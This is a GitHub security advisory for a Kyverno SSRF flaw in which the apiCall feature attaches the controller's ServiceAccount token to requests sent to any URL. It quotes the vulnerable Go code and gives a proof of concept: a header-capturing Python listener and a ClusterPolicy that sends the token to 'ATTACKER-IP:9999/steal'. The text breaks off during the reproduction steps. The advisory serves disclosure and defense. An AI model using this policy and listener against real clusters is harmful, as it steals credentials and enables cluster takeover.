GitHub Security Advisory: GHSA-f9g8-6ppc-pqq4
Package: github.com/kyverno/kyverno (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 1.17.0
Patched in: 1.17.0

Summary: Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Details:
## Summary

Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.

## Affected version

Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.

## Details

There are two issues that combine into one attack chain.

The first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:

```go
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)
```

No scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.

The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:

```go
if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    req.Header.Add("Authorization", "Bearer "+token)
}
```

The token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.

## Reproduction

**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install

**Step 1**: Start an HTTP listener on an attacker machine:

```python
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "timestamp": str(datetime.datetime.now()),
            "path": self.path,
            "headers": dict(self.headers)
        }, indent=2))
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()
```

**Step 2**: Create a ClusterPolicy that calls the attacker server:

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: ssrf-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: exfil
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: exfil
      apiCall:
        service:
          url: "http://ATTACKER-IP:9999/steal"
        method: GET
        jmesPath: "@"
    validate:
      message: "check"
      deny:
        conditions:
          any:
          - key: "{{ exfil }}"
            operator: Equals
            value: "NEVER_MATCHES"
```

**Step 3**: Create any pod to tr